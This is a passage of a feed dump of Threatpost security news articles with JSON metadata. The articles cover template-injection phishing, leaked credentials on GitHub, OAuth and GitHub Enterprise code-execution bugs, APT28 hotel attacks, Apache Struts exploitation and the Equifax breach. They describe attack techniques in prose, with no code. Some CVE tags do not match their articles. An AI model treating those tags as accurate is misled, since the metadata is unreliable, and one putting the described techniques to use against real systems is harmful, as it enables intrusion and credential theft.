description](<https://github.com/ryhanson/phishery>), \u201cPhishery is a Simple SSL Enabled HTTP server with the primary purpose of phishing credentials via Basic Authentication.\u201d Once the target opens the Word document attachment sent in the phishing email, the template request reaches out to a Phishery server that triggers a dialogue box on the victim\u2019s computer requesting a Windows username and password.\n\nTalos researchers said Phishery was not used in the attacks it observed. It theorizes attacks may have used modified Phishery code or used the same Relationship ID to thwart analysis.\n\nIn the sample Talos examined, unlike with Phishery that prompted users for credentials, instead a template file is requested from a third-party server with no Basic Authentication prompt for credentials. \u201cSuch a prompt was not needed nor seen for samples requesting the template over SMB,\u201d they wrote.\n\nOnce the target opens the Word document a template request is made to a third-party server that initiates the download of a potentially rogue template. \u201cThe attachment instead tries to download a template file over an SMB connection so that the user\u2019s credentials can be silently harvested. In addition, this template file could also potentially be used to download other malicious payloads to the victim\u2019s computer,\u201d researchers said.\n\nTalos explains that the attacker\u2019s SMB server was down when it analyzed samples, making it impossible to determine the payloads (if any) that could have been dropped by the template being downloaded. \u201cForcing SMB requests to an external server has been a known security vulnerability for many years. Without further information it is impossible to conclude what the true scope of this attack was or what malicious payloads could have been involved.\u201d\n\nAccording to a _[New York Times](<https://www.nytimes.com/2017/07/06/technology/nuclear-plant-hack-report.html>)_ report of attacks against Wolf Creek Nuclear Operating Corporation included phishing lures with highly targeted email messages containing fake resumes for control engineering jobs.\n\nLate last month, the U.S. government warned critical infrastructure companies of hacking campaigns against nuclear and energy sector. \u201cHistorically, cyber actors have strategically targeted the energy sector with various goals ranging from cyber espionage to the ability to disrupt energy systems in the event of a hostile conflict,\u201d the report said.\n", "cvss3": {}, "published": "2017-07-10T14:34:03", "type": "threatpost", "title": "Energy, Nuclear Targeted with Template Injection Attacks", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2018-11776"], "modified": "2017-07-10T18:34:03", "id": "THREATPOST:6495B216452F8FF8CDF9A8F13AD41168", "href": "https://threatpost.com/energy-nuclear-targeted-with-template-injection-attacks/126727/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2018-10-06T22:59:06", "description": "Amazon Web Services is actively searching a number of sources, including code repositories and application stores, looking for exposed credentials that could put users\u2019 accounts and services at risk.\n\nA week ago, a security consultant in Australia said that as many as 10,000 secret Amazon Web Services keys could be found on Github through a simple search.

Last December researcher Ben Cox decided to collect as many of those keys as he could and see what he could find out about them. He began the project on Dec. 27 and by Jan. 9 he had collected more than 1.3 million SSH keys.\n\n\u201cI took a stab at this in 2013 but found that too many people didn\u2019t use GitHub in SSH mode and thus had no keys set. This time however (with a new program that used the events api) I found that the majority of active users had some SSH keys in there,\u201d Cox said in a blog [post](<https://blog.benjojo.co.uk/post/auditing-github-users-keys>) detailing the project.\n\nAfter collecting the keys, Cox began analyzing them. One of the things he looked at was the strength of the key, and he discovered that seven of the keys in his set were just 512 bits, and two others were 256 bits. Those key lengths are short enough to be in the range of factorization on many modern machines.\n\n\u201c512 bit keys have been known to be factorable in less than 3 days. The main example of this is the Texas Instruments calculator firmware signing key that was broken, allowing the modding community to upload any firmware that they wanted,\u201d Cox said.\n\n\u201cI tried on my own to make a 256 bit key and factor it, and the process took less than 25 minutes from having the public SSH key to the factoring of primes (on a subpar processer by today\u2019s standards, and then a few more minutes to transform those back into a SSH key that I could log into systems with. This risk isn\u2019t only real if someone had gathered together top of the line mathematicians or supercomputers worth of power, the 256 bit key I factored was factored on a i5-2400 in 25 mins.\u201d\n\nThe bigger issue, however, is that Cox found what he calls a \u201cvery large amount\u201d of SSH keys in the set that were vulnerable to the [Debian OpenSSL bug](<https://lists.debian.org/debian-security-announce/2008/msg00152.html>) from 2008. That vulnerability existed in certain versions of Debian and resulted from the fact that the OpenSSL random number generator included in those versions was predictable. That means that cryptographic keys generated with vulnerable versions could be guessable. The bug affected SSH keys, VPN keys, and DNSSEC keys, among others.\n\nCox compared the list of keys he had gleaned from GitHub to a list of keys affected by the Debian flaw and found that some of the accounts using vulnerable keys had access to some large and sensitive GitHub repositories. Some of those repositories include Yandex, the Russian search provider, Spotify, the cryptographic libraries for Python, and Python\u2019s core.\n\nCox disclosed the problem to GitHub in early March and the vulnerable keys were revoked on May 5.

[Gists](<https://gist.github.com/>) are Pastebin-like repositories on Github that allow coders to share bits and pieces of their work with their contemporaries, and OAuth is an authentication protocol that can allow different entities, be it a web app or a mobile app, varying degrees of access to your account.\n\nThe first vulnerability in Github Homakov noticed was that he could bypass its [redirect_uri](<https://developer.github.com/v3/oauth/#redirect-urls>) validation by imputing a /../ path traversal. A path traversal attack allows access files and directories stored outside the web root folder to be accessed by manipulating the URL. In this case when the browser is redirected, Homakov found that he can control the HTTP parameter and trick it into not fully parsing the URL, letting him redirect to any Gist page he wants.\n\nIn fact Homakov found that whatever the client sent to get an authorization token, the provider would respond with a valid access_token, a vulnerability that could be used to compromise the log-in functionality on any site that uses it.\n\nThis \u2013 the second bug \u2013 could make it easy for an attacker to hijack the authorization code used for the redirect_uri and simply apply the leaked code on real client\u2019s callback to log in under the victim\u2019s account.\n\nHomakov discovered he could leverage both bugs to trick a user into following a link to get Github to leak a code sending request to him. Using something he\u2019s nicknamed an [Evolution of Open Redirect vulnerability](<http://homakov.blogspot.com/2014/01/evolution-of-open-redirect-vulnerability.html>) the code sending request is sent to an image request which Homakov can then use to then log into the victim\u2019s account and secure access to private gists.\n\nGists are static pages and can even allow users to embed their own images, or at least image code. In this situation there\u2019s a certain way the code can point to a suspicious URL and acquire the victim\u2019s code.\n\nOnce in, Homakov found that the client reveals the victim\u2019s actual OAuth access_token to the user agent, something he then was able to take advantage of and use to perform API calls on behalf of the victim.\n\nSince Gist falls under the Github umbrella, Homakov found the client approves any scope it\u2019s asked automatically. That includes allowing it to carry out specially crafted URLs that can leak code, giving him access to private GitHub repositories and Gists, \u201call in stealth-mode,\u201d because the github_token belongs to the Gist client. From here Homakov has the control of the affected Github user and their Gist account.\n\nHomakov is no stranger to rooting out Github bugs; he blogged about a bug involving the way the site pushes [public keys](<http://homakov.blogspot.com/2012/03/how-to.html>) in March 2012 and a problem with the way the site [handles cookies](<http://homakov.blogspot.com/2013/03/hacking-github-with-webkit.html>) last March.\n\nGithub kicked off its bug bounty program just over a week ago by promising to award anywhere from $100 to $5,000 to researchers who discover vulnerabilities in the site or other applications like its API or Gist. As Homakov\u2019s vulnerability involved both Github and Gist and fetched $4,000, it was clearly of concern to the site, with the way the vulnerabilities \u201c[fit so nicely together](<https://twitter.com/homakov/status/431685133570031617>),\u201d impressing Github.\n", "cvss3": {}, "published": "2014-02-11T10:53:58", "type": "threatpost", "title": "Five OAuth Bugs Lead to Github Hack", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2018-11776"], "modified": "2014-02-13T22:01:16", "id": "THREATPOST:1F0994F898084346360FB7C6EFEC201C", "href": "https://threatpost.com/five-oauth-bugs-lead-to-github-hack/104178/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2018-10-06T22:57:34", "description": "Free online code repositories such as GitHub provide a valuable collaboration service for enterprise developers. But it\u2019s also a trove of potentially sensitive company and project information that\u2019s likely to warrant attention from hackers.\n\nAn application security specialist from Berlin has developed a tool he hopes can keep companies a step ahead. [Gitrob](<http://michenriksen.com/blog/gitrob-putting-the-open-source-in-osint/>) is an open source intelligence command-line tool that mines GitHub for files belonging to an organization and runs them against pre-determined patterns looking for potentially sensitive information that isn\u2019t meant for public consumption.\n\nIts developer Michael Henriksen, who does application security and code auditing for SoundCloud, says Gitrob starts off by using GitHub\u2019s public API to query a Github organization\u2019s list of public members.\n\n\u201cWhen the list of members is obtained, it queries GitHub again for each member that returns a list of their public repositories,\u201d Henriksen told Threatopst. \u201cThe contents of the repositories are never downloaded to the machine, it simply uses GitHub\u2019s API again to obtain a list of file names. When clicking on a file in the web interface to see its contents, it is fetched from GitHub\u2019s servers.\u201d\n\nHenriksen said he has built a number of Observers, which act as Gitrob plug-ins, that flag files matching certain patterns. Organization members, repositories and files are saved to a PostgreSQL database for analysis before a Sinatra webserver is started locally in order to serve a web app that presents the data for analysis, which must be conducted manually.\n\n\u201cAll the files are sent through these observers, one by one, and the observers can then decorate or make changes to the file\u2019s database record, before it is saved to the database,\u201d Henriksen said. \u201cRight now, Gitrob actually only contains one observer which will flag files that match [patterns of interesting files](<https://github.com/michenriksen/gitrob/blob/master/patterns.json>), but the design makes it easy to introduce new logic to look for other things. The patterns are built in to the tool itself.\u201d\n\nSecurity analysts inside an enterprise should feel at home using Gitrob, Henriksen said, but cautioned that the tool will point out a default set of potentially sensitive items. An analyst would have to manually comb through them to determine whether those files should be public.\n\n> OSINT #Gitrob mines GitHub for sensitive information that isn\u2019t meant for public consumption.\n> \n> [Tweet](<https://twitter.com/share?url=https%3A%2F%2Fthreatpost.com%2Fgitrob-combs-github-repositories-for-secret-company-data%2F110380%2F&text=OSINT+%23Gitrob+mines+GitHub+for+sensitive+information+that+isn%26%238217%3Bt+meant+for+public+consumption.>)\n\n\u201cA security team in an organization can use Gitrob to periodically scan their repositories for sensitive files that might be checked in,\u201d Henriksen said. \u201cThe current version is not really suitable to run in an automated fashion, so it would have to be run manually, but I am planning to change that in the future so that it can be run automatically and report to somewhere when new things are found.\u201d\n\nHenriksen said he tested Gitrob against a number of GitHub repositories belonging to companies of different sizes; he found a variety of information using Gitrob from username-password combinations, email addresses, internal system mappings and other information that could be used in phishing campaigns or other social engineering attacks.

APT28 notably used the NSA hacking tool EternalBlue as part of its scheme to steal credentials from business travelers, according to a [report](<https://www.fireeye.com/blog/threat-research/2017/08/apt28-targets-hospitality-sector.html>) released Friday by security firm FireEye.\n\nOne of the goals of the attack is to trick guests to download a malicious document masquerading as a hotel reservation form that, if opened and macros are enabled, installs a dropper file that ultimately downloads malware called Gamefish. Gamefish establishes a foothold in targeted systems as a way to install the open source tool called Responder, according to FireEye.\n\n\u201cOnce inside the network of a hospitality company, APT28 sought out machines that controlled both guest and internal Wi-Fi networks,\u201d wrote authors of the report Lindsay Smith and Benjamin Read, both researchers with FireEye\u2019s cyber espionage team.\n\n\u201cTo spread through the hospitality company\u2019s network, APT28 used a version of the EternalBlue SMB exploit. This was combined with the heavy use of py2exe to compile Python scripts. This is the first time we have seen APT28 incorporate this exploit into their intrusions,\u201d researchers said.\n\nFireEye said APT28\u2019s objective was to steal credentials from business travelers using hotel Wi-Fi networks, which the researchers said they did not observe. FireEye does cite a 2016 hotel attack by APT28 with a similar modus operandi. In that incident, a hotel guest\u2019s username and password were stolen while they used the Wi-Fi network. Within 12 hours the victim\u2019s business network was compromised by someone using their credentials.\n\nOnce the foothold is established in the hotel\u2019s wi-fi system, hackers deployed the Responder tool in order to facilitate NetBIOS Name Service (NBT-NS) poisoning. \u201cThis technique listens for NBT-NS (UDP/137) broadcasts from victim computers attempting to connect to network resources. Once received, Responder masquerades as the sought-out resource and causes the victim computer to send the username and hashed password to the attacker-controlled machine,\u201d researchers said.\n\nThat username and hashed password from hotel guests is cracked offline and later used to escalate privileges in the victim\u2019s network, according to FireEye.\n\nIn all, hotels in seven European countries and one Middle Eastern country were targeted. \u201cBusiness and government personnel who are traveling, especially in a foreign country, often rely on systems to conduct business other than those at their home office, and may be unfamiliar with threats posed while abroad,\u201d researchers wrote.\n\nAPT28, or Sofacy, is the group implicated by a December [DHS report](<https://threatpost.com/fbi-dhs-report-links-fancy-bear-to-election-hacks/122802/>) related to U.S. election hacks. In a report [released earlier this week](<https://threatpost.com/updates-to-sofacy-turla-highlight-2017-q2-apt-activity/127297/>), Kaspersky Lab said the group has adopted new macro techniques and continued to find new targets such as the French political party.\n\n\u201cThese incidents show a novel infection vector being used by APT28. The group is leveraging less secure hotel Wi-Fi networks to steal credentials and a NetBIOS Name Service poisoning utility to escalate privileges,\u201d FireEye wrote. \u201cPublicly accessible Wi-Fi networks present a significant threat and should be avoided whenever possible.\u201d\n", "cvss3": {}, "published": "2017-08-12T08:00:32", "type": "threatpost", "title": "APT28 Using EternalBlue to Attack Hotels in Europe, Middle East", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2018-11776"], "modified": "2017-08-12T11:12:17", "id": "THREATPOST:31661FC1D8CDC4988A6B8EB802933A7B", "href": "https://threatpost.com/apt28-using-eternalblue-to-attack-hotels-in-europe-middle-east/127419/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2018-10-06T22:57:28", "description": "The U.S. Army has released to open source an internal forensics analysis framework that the Army Research Lab has been using for some time.\n\nThe framework, known as Dshell, is a Python tool that runs on Linux and its designed to help analysts investigate compromises within their environments.

They can serve either silly or serious purposes. For example, a Slack bot could be programmed to reboot servers by a user who simply types the request \u201cSlack bot, please reboot server\u201d. Another Slack bot request might be \u201cWhat\u2019s the weather for tomorrow?\u201d\n\nOver the years, thousands of Slack bots have been created by companies to carry out these conversational instructions. Hundreds of those developers decided to share their Slack bot programming code on sites such as GitHub. The idea is, other developers might want to reuse a useful Slack bot or modify the code so the Slack bot can do something new.\n\n\u201cThese developers were proud of their creation. They wanted to share their hard work with the rest of the developer community,\u201d said Rickard Carlsson, CEO of Detectify in an interview with Threatpost.\n\nThat\u2019s where developers ran into trouble. Unbeknownst to the developers sharing their Slack bots with GitHub was the fact they were also uploading their company\u2019s unique API key or token inside the Slack bot code. That meant a third-party could remove the Slack token and use it to hack into the Slack account of the person who originally created it.\n\nWhen Detectify searched for Slack tokens left behind on GitHub it discovered that those tokens could be used to access chats, files and private message data shared among Slack developer teams.\n\nAffected, Carlsson told Threatpost, were tokens belonging to individual users but also Fortune 500 companies, payment providers, multiple internet service providers and health care providers. In one case, Detectify reported it stumbled upon everything from \u201crenowned advertising agencies that want to show what they are doing internally. University classes at some of the world\u2019s best-known schools. Newspapers sharing their bots as part of stories.\u201d\n\nIn a [blog post outlining its discovery](<https://labs.detectify.com/2016/04/28/slack-bot-token-leakage-exposing-business-critical-information/>) Thursday, Detectify wrote, \u201cIn the worst case scenario, these tokens can leak production database credentials, source code, files with passwords and highly sensitive information.\u201d Detectify said it discovered the flaw earlier this month.\n\nAt first, Slack acknowledged the problem, but reminded researchers at Detectify that it\u2019s the users\u2019 responsibility to not share tokens and remove them when they are no longer needed. Slack has since updated its positions on tokens, telling Detectify \u201cWe\u2019re proactively looking for tokens ourselves now, and reaching out to customers to let them know when we\u2019ve disabled tokens and where we found them. We\u2019ll deactivate these in the next batch.\u201d\n\nSlack\u2019s email sent to its customers explaining the situation can be read online [via Detectify\u2019s website](<https://labs.detectify.com/wp-content/uploads/2016/04/Screen-Shot-2016-04-28-at-14.53.38.png>).

We warn developers when they generate a token never to share it with other users or applications. Our customers\u2019 security is of paramount importance to us, and we will continue to improve our documentation and communications to ensure that this message is urgently expressed.\u201d\n\nDetectify\u2019s last piece of advice: \u201cNever commit credentials inside code.

The vulnerability is a combination of two bugs, Fenske told Threatpost Thursday.\n\nOne problem stems from the fact that a static value was being used to cryptographically sign the Ruby on Rails session secret for the console. The secret value is supposed to be a randomly generated per-machine value used to sign the cookie, not a static value.\n\nGitHub acknowledged on Tuesday that the static secret was only supposed to be used for testing and development, but \u201can unrelated change of file permissions prevented the intended (and randomly generated) session secret from being used.\u201d\n\n\u201cFor testing purposes they replaced it with a static value and forgot to change it back,\u201d Fenske told Threatpost. In the production environment, there was a mechanism that should have replaced it with a random value. But it did not work.\u201d\n\nWhile GitHub shouldn\u2019t have been using a static secret to sign cookies that hold session data, the other problem, Fenske says, is that session data could be serialized with Marshal. [Marshal](<https://ruby-doc.org/core-2.2.2/Marshal.html>), a library that converts collections of Ruby objects into a byte stream, has a method, .load, that can return the result of converted serialized data.\n\nAs Fenske points out, [documentation](<https://ruby-doc.org/core-2.2.0/Marshal.html#method-c-load>) around Marshal.load says to \u201cnever pass untrusted data (including user supplied input) to this method,\u201d but that\u2019s what GitHub was doing.\n\nBy knowing the secret, an attacker could have forged a cookie, deserialized by Marshal.load, and tricked GitHub into running whatever code they wanted.\n\n\u201cBecause the secret is known, you can create a valid signature and pass arbitrary data to Marshal.load, which then leads to remote code execution,\u201d Fenske said.\n\nFenske says that while he sells sugar wax for hair removal by day\u2013[seriously](<https://www.bodypil.de/ueber-uns.html>)\u2013he hacks stuff by night. He founded an IT security consulting firm, Exablue, last month which he plans to use to carry out audits, pen-testing, and \u201cthe whole range\u201d going forward. He said he was inspired to poke around GitHub Enterprise after he stumbled upon a blogpost by Taiwanese hacker Orange Tsai about [a SQL injection](<http://blog.orange.tw/2017/01/bug-bounty-github-enterprise-sql-injection.html>) he found in the platform.\n\n\u201cAbout two minutes after decoding the source and opening the first file (config.ru) of the first application (the management interface), I noticed the vulnerability,\u201d Fenske said.\n\nGitHub fixed the vulnerability on Jan. 31 when it pushed out GitHub Enterprise 2.8.7. Now the service defaults to a randomly generated session secret if the initially configured session secret is not found.\n\nIt was a fairly quick turnaround for the company; the patch came only five days after Fenske reported the issue and earned him $10,000, the highest reward the company gives out through its bug bounty program, and [a spot in its Hall of Fame](<https://bounty.github.com/researchers/iblue.html>).\n\n\u200b\u201dWorking with GitHub is really nice,\u201d Fenske said, \u201cFor a company that big, their speed is amazing.\u201d\n\nThe researcher had no idea when he submitted the bug, however, that the company was in the middle of a promotional bug bounty period. The company [announced the promotion](<https://github.com/blog/2302-bug-bounty-anniversary-promotion-bigger-bounties-in-january-and-february>), which stretched from January to February, to celebrate the third anniversary of its [bug bounty program](<https://bounty.github.com/#rules>) with HackerOne.\n\nAfter he sent a draft of his disclosure to the company this week, Fenske discovered his bug was severe enough to fetch an additional $8,000 bounty and [second place in the contest](<https://github.com/blog/2332-bug-bounty-third-anniversary-wrap-up>).\n\n\u201cI was just writing my article and sent GitHub a draft to look at, and the answer came within minutes, telling me that I can publish whatever I like and that they gave me more money,\u201dhe said, \u201cI did not know about that extra contest and was very pleasantly surprised.\u201d\n\nFenske\u2019s bug was one of three GitHub fixed in its Enterprise product to qualify for additional bug bounty money. The company also fixed two separate SAML authentication bypass bugs in the service.\n\nFenske said the latest release of GitHub Enterprise uses a secret that\u2019s 16 random bytes written in hex.\n\n\u201cI quickly calculated that cracking it will take about 469142742208 gigayears on a 8-GPU instance (for comparison: The Sun will be gone in 7.7 gigayears). I think it\u2019s secure now.\u201d\n", "cvss3": {}, "published": "2017-03-17T09:00:04", "type": "threatpost", "title": "GitHub Code Execution Bug Fetches $18,000 Bounty", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2018-11776"], "modified": "2017-03-16T23:38:35", "id": "THREATPOST:E984089A4842B564B374B807AF915A44", "href": "https://threatpost.com/github-code-execution-bug-fetches-18000-bounty/124378/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2019-05-30T05:51:35", "description": "Proof-of-concept code found on the GitHub repository could allow attackers to easily take advantage of a recently identified vulnerability in the Apache Struts 2 framework. The vulnerability ([CVE-2018-11776](<https://access.redhat.com/security/cve/cve-2018-11776>)), [identified earlier this week](<https://threatpost.com/apache-struts-2-flaw-uncovered-more-critical-than-equifax-bug/136850/>), could allow an adversary to execute remote code on targeted systems.\n\nOn Friday, proof-of-concept code was [released](<https://github.com/jas502n/St2-057>) on GitHub along with a [Python script](<https://github.com/pr4jwal/quick-scripts/blob/master/s2-057.py>) that allows for easy exploitation, according to Allan Liska, senior security architect with Recorded Future.\n\n\u201c[We have] also detected chatter in a number of Chinese and Russian underground forums around the exploitation of this vulnerability,\u201d he [wrote in a post](<https://www.recordedfuture.com/apache-struts-vulnerability-github/>).\n\nThe bug, which impacts Apache Struts versions 2.3 to 2.3.34 and 2.5 to 2.5.16, is tied to an improper validation of input data. The Apache Software Foundation [patched](<https://cwiki.apache.org/confluence/display/WW/S2-057>) the vulnerability for all supported versions of Struts 2. Users of Struts 2.3 are advised to upgrade to 2.3.35 and users of Struts 2.5 need to upgrade to 2.5.17.\n\nLiska said the Apache Struts 2 vulnerability is potentially even more damaging than a similar [2017 Apache Struts bug used to exploit Equifax](<https://threatpost.com/patch-released-for-critical-apache-struts-bug/127809/>).\n\n\u201cUnlike that vulnerability, this one does not require any plug-ins to be present in order to exploit it, a simple well-crafted URL is enough to give an attacker access to a victim\u2019s Apache Struts installation and there is already exploit code on Github and underground forums are talking about how to exploit it. The worst part for many large organizations is that they may not even know they are vulnerable because Struts underpins a number of different systems including Oracle and Palo Alto,\u201d Liska said.\n\nThe fact that a patch is available to fix the vulnerability should give cold comfort to companies potentially impacted by the flaw.\n\n\u201cThe Equifax breach happened not because the vulnerability wasn\u2019t fixed, but because Equifax hadn\u2019t yet updated Struts to the latest version. If this is a true working PoC, then any company who hasn\u2019t had the time to update their software, will now be at even greater risk,\u201d said Oege de Moor, chief executive officer at Semmle.\n\nDe Moor said Semmle is not confirming whether the reported PoC is functional.\n\n\u201cIf it is [functioning], attackers now have a quicker way into the enterprise,\u201d de Moor wrote in a prepared statement Friday. \u201cThere is always a time lag between the announcement of a patch and a company updating its software. There are many reasons why companies can\u2019t update software like Struts immediately, as it is used for many business-critical operations.

But it conceded that it was difficult to ascertain whether probes for vulnerable Apache servers could be carried out benignly.\n\nRapid7 said that in a 72-hour period starting Tuesday, a handful of events cropped up peaking at fewer than 50 between 11 a.m. and 6 p.m. Wednesday.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2017/03/06230023/pastedImage_1.png>)\n\n\u201cWe are really seeing limited attempts to exploit the vulnerability,\u201d said Tom Sellers, threat analyst and security researcher at Rapid7. \u201cFor context, please keep in mind that our data is from honeypots hosted in cloud providers and may not reflect what other sensors and organizations are seeing.\u201d\n\nCraig Williams, Cisco Talos senior technical lead, said researchers there are seeing attack traffic trending downward as well.\n\n\u201cEarly indicators and past experiences were pointing to this being an ongoing issue with attackers continuing to seek out vulnerable machines. Interestingly, over the last couple days, we have seen a slowing of activity,\u201d Williams said. \u201cBecause this is so unusual, we are continuing to monitor the situation in case the trend starts moving in the other direction. Again, this is not typical for this type of issue but great news all the same.\u201d\n\nThe vulnerability is in the Jakarta Multipart parser that comes with Apache. An attacker can trivially exploit the vulnerability to gain remote code execution by sending a HTTP request that contains a crafted Content-Type value. The vulnerable software will throw an exception in such cases.\n\n\u201cWhen the software is preparing the error message for display, a flaw in the Apache Struts Jakarta Multipart parser causes the malicious Content-Type value to be executed instead of displayed,\u201d Sellers wrote in an analysis published yesterday.\n\nThe vulnerability was disclosed and patched on Monday, and by Tuesday, Rapid7 was seeing two malicious requests from a host geo-located in Zhengzhou, China. The attacks arrived in HTTP GET requests and issued commands to the vulnerable webserver for it to download binaries from the attacker-controlled server on the internet. Sellers called it a standard command-injection attack against a webserver where the attacker is able to write code that instructs the server to reach out to an IP address and download code that executes on the server.\n\nThe second attack was spotted Wednesday when a host in Shanghai, China sent HTTP POST requests to servers instructing them to disable their firewall and grab code related to the XOR DDoS malware family.\n\n\u201cWhile we\u2019ve seen a couple dozen sources exploiting the vulnerability, only those two issued malicious commands,\u201d Sellers said. \u201cWe\u2019ve actually seen a drop off in related traffic since Wednesday. The most active attacker stopped on Thursday around 4 a.m. U.S. Central time.\u201d\n\nSellers said it\u2019s unclear as to why there\u2019s been a dropoff in malicious traffic.\n\n\u201cIt could be caused by a number of factors. The malicious payload is pretty obvious and easy to filter if traffic is inspected,\u201d Sellers said. \u201cAttackers might be prioritizing other vulnerabilities such as the ones announced in cameras recently. The lull may be temporary and we may see activity rise again after attention moves on to efforts.\u201d\n\nCisco raised the issue of IoT devices running the vulnerable Apache software as well, which could be an indicator of initial interest from DDoS bots.\n\n\u201cGiven the low sample size it\u2019s difficult for me to say.It\u2019s possible that DDoS bots are the early adopters since infection would generate easy, repeatable income and the code was trivial to port to existing frameworks,\u201d Sellers said. \u201cCompare that to ransomware, where a new deployment mechanism may need to be written but would likely only result in a single payout per host.\u201d\n\nResearchers were also seeing a number of requests probing for additional vulnerable servers that included whoami and ifconfig, commands that are relatively benign but could return information about what context the server is running in. Servers running at root\u2014an uncommon practice\u2014are most at risk.\n", "cvss3": {}, "published": "2017-03-10T10:51:01", "type": "threatpost", "title": "Apache Attack Traffic Dropping, Limited to Few Sources", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2017-5638"], "modified": "2017-03-10T16:12:17", "id": "THREATPOST:AACAA4F654495529E053D43901F00A81", "href": "https://threatpost.com/apache-attack-traffic-dropping-limited-to-few-sources/124227/", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2019-01-23T05:27:47", "description": "Equifax said that an additional 2.4 million Americans have had their [personal data](<https://investor.equifax.com/news-and-events/news/2018/03-01-2018-140531340>) stolen as part of the company\u2019s massive 2017 data breach, including their names and some of their driver\u2019s license information.\n\nThe additional identified victims bring the total of those implicated in what has become the largest data breach of personal information in history to around 148 million people.\n\nThe consumer credit reporting agency on Thursday said that as part of an \u201congoing analysis\u201d it found that these newly identified victims\u2019 names and partial driver\u2019s license numbers were stolen by attackers. However, unlike the previous 145.5 million people who have been identified to date as impacted by the 2017 breach, the Social Security numbers of these additional victims were not impacted.\n\nAttackers were also unable to reach additional license details for this latest slew of impacted victims \u2013 including the state where their licenses were issued and the expiration dates.\n\n\u201cThis is not about newly discovered stolen data,\u201d Paulino do Rego Barros, Jr., interim chief executive officer of Equifax, said in a statement. \u201cIt\u2019s about sifting through the previously identified stolen data, analyzing other information in our databases that was not taken by the attackers, and making connections that enabled us to identify additional individuals.\u201d\n\nEquifax said the new victims were not previously identified because their Social Security numbers were not stolen together with their driver\u2019s license information.\n\n\u201cThe methodology used in the company\u2019s forensic examination of last year\u2019s cybersecurity incident leveraged Social Security Numbers (SSNs) and names as the key data elements to identify who was affected by the cyberattack,\u201d said the company in a statement. \u201cThis was in part because forensics experts had determined that the attackers were predominately focused on stealing SSNs.\u201d\n\nEquifax said it will notify the newly identified consumers directly by U.S. Postal mail, \u201cand will offer identity theft protection and credit file monitoring services at no cost to them,\u201d said the company.\n\nThe company did not respond to requests for further comment from Threatpost about its current ongoing analysis of the breach.\n\n**Ongoing Breach Disclosures**\n\nEquifax has been under public scrutiny since September, that\u2019s when it first disclosed the data breach after issuing a statement at the time that cybercriminals had exploited an unnamed \u201cU.S. website application vulnerability to gain access to certain files\u201d from May through July 2017. Equifax said it discovered the breach on July 29. The breach enabled criminals to access sensitive data like social security numbers, birth dates, and license numbers.\n\nLater, during Equifax\u2019s testimony in October before the U.S. House Committee on Energy and Commerce Subcommittee on Digital Commerce and Consumer Protection, it was revealed that Equifax was notified in March that the breach was tied to an unpatched [Apache Struts vulnerability, CVE-2017-5638](<https://threatpost.com/oracle-patches-apache-struts-reminds-users-to-update-equifax-bug/128151/>). It was established that while Equifax said it had requested the \u201capplicable personnel responsible\u201d to update the vulnerability it never was fixed.\n\n\u201cIt appears that the breach occurred because of both human error and technology failures,\u201d Richard Smith, Equifax CEO at the time, wrote in a [testimony](<http://docs.house.gov/meetings/IF/IF17/20171003/106455/HHRG-115-IF17-Wstate-SmithR-20171003.pdf>) that was released at the hearing in October.\n\nMaking the breach worse was Equifax\u2019s further botched response to the breach.\n\nAfter the breach was revealed in September, the company\u2019s site was crushed with traffic from concerned customers that left the site unreachable. In a separate instance in October, the Equifax site came under fire for harboring [adware](<https://threatpost.com/equifax-takes-down-compromised-page-redirecting-to-adware-download/128406/>) in a third-party partner\u2019s Flash Player download.\n\nThe extent and scope of the breach also has been continually expanding since it was first disclosed in September. In October, after an analysis with security company Mandiant, the company said that an [additional](<https://threatpost.com/equifax-says-145-5m-affected-by-breach-ex-ceo-testifies/128247/>) 2.5 million customers were also impacted on top of the 143 million the company initially said were affected.\n\nMeanwhile, in February, documents submitted by Equifax to the US Senate Banking Committee revealed that attackers also accessed taxpayers identification numbers, email addresses, and credit card expiration dates for certain customers.\n\n**Renewed Anger**\n\nThis latest slew of impacted customers has renewed anger against the company, with some demanding stricter legislation for data protection \u2013 such as the proposed Data Breach Prevention and Compensation Act, which would impose strict security-related fines on credit reporting agencies.\n\n> My office is continuing our investigation of [#Equifax](<https://twitter.com/hashtag/Equifax?src=hash&ref_src=twsrc%5Etfw>) so we can get to the bottom of how this disastrous data breach happened. \n> \n> We also need to change the law.\n> \n> \u2014 Eric Schneiderman (@AGSchneiderman) [March 1, 2018](<https://twitter.com/AGSchneiderman/status/969229077814108160?ref_src=twsrc%5Etfw>)\n\n> This is unacceptable.

According to Equifax, investigators didn\u2019t find any additional vulnerabilities. The extra 2.5 million Americans figure came \u201cduring Mandiant\u2019s completion of the remaining investigative tasks and quality assurance procedures built into the investigative process.\u201d\n\nThe company used the opportunity on Monday to reiterate that Canadian citizens were also impacted, although far fewer than initially thought. The company said there may have been up to 100,000 Canadians affected several weeks ago however upon closer inspection, only 8,000 Canadian consumers were affected by the breach.\n\nEquifax says its still analyzing exactly how many United Kingdom consumers have been affected by the breach and is in the middle discussions with regulators to determine how to notify them.\n\nDetails about the breach came out the day before Richard Smith, Equifax\u2019s former CEO, was scheduled to testify about the breach before the U.S. House Committee on Energy and Commerce Subcommittee on Digital Commerce and Consumer Protection. Smith, former Equifax chairman and chief executive, [retired last Tuesday](<https://threatpost.com/oracle-patches-apache-struts-reminds-users-to-update-equifax-bug/128151/>) in wake of the breach.\n\nIn a [written testimony (.PDF)](<http://docs.house.gov/meetings/IF/IF17/20171003/106455/HHRG-115-IF17-Wstate-SmithR-20171003.pdf>) released in tandem with the subcommittee hearing, Smith blamed the breach on a combination of \u201chuman error and technology failures.\u201d\n\n\u201cThese mistakes \u2013 made in the same chain of security systems designed with redundancies \u2013 allowed criminals to access over 140 million Americans\u2019 data,\u201d Smith wrote.\n\nIn the testimony Smith claimed that the U.S. Department of Homeland Security\u2019s Computer Emergency Readiness Team (U.S. CERT) notified Equifax on March 8 